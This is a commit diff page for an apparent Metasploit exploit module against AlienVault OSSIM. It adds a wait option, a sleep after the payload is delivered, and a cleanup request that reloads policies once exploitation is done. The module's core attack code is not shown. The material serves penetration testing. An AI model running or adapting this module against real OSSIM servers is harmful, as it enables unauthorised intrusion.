Changes to alienvault module
parent
9a1b216fdb
commit
9bcf5eadb7
|
@ -54,7 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
Opt::RPORT(443),
|
Opt::RPORT(443),
|
||||||
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/'])
|
OptString.new('TARGETURI', [true, 'The URI of the vulnerable Alienvault OSSIM instance', '/']),
|
||||||
|
OptInt.new('WAIT', [ true, "Number of seconds to wait for exploit to run", 0 ])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -270,6 +271,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
if res && res.code == 404
|
if res && res.code == 404
|
||||||
print_status("#{peer} - Payload delivered")
|
print_status("#{peer} - Payload delivered")
|
||||||
|
Rex.sleep(datastore['WAIT'])
|
||||||
else
|
else
|
||||||
fail_with(Failure::Unknown, "#{peer} - Payload failed!")
|
fail_with(Failure::Unknown, "#{peer} - Payload failed!")
|
||||||
end
|
end
|
||||||
|
@ -328,6 +330,25 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
else
|
else
|
||||||
print_warning("#{peer} - Unable to remove Action ID")
|
print_warning("#{peer} - Unable to remove Action ID")
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Reload the policies to revert back to the state before exploitation
|
||||||
|
print_status("#{peer} - Reloading Policies")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri(target_uri.path, "ossim", "conf", "reload.php"),
|
||||||
|
'cookie' => @cookie,
|
||||||
|
'vars_get' => {
|
||||||
|
'what' => 'policies',
|
||||||
|
'back' => '../policy/policy.php'
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 200
|
||||||
|
print_status("#{peer} - Policies reloaded!")
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Policy reloading failed!")
|
||||||
|
end
|
||||||
|
|
||||||
ensure
|
ensure
|
||||||
super # mixins should be able to cleanup even in case of Exception
|
super # mixins should be able to cleanup even in case of Exception
|
||||||
end
|
end
|
||||||
|
|
Loading…
Reference in New Issue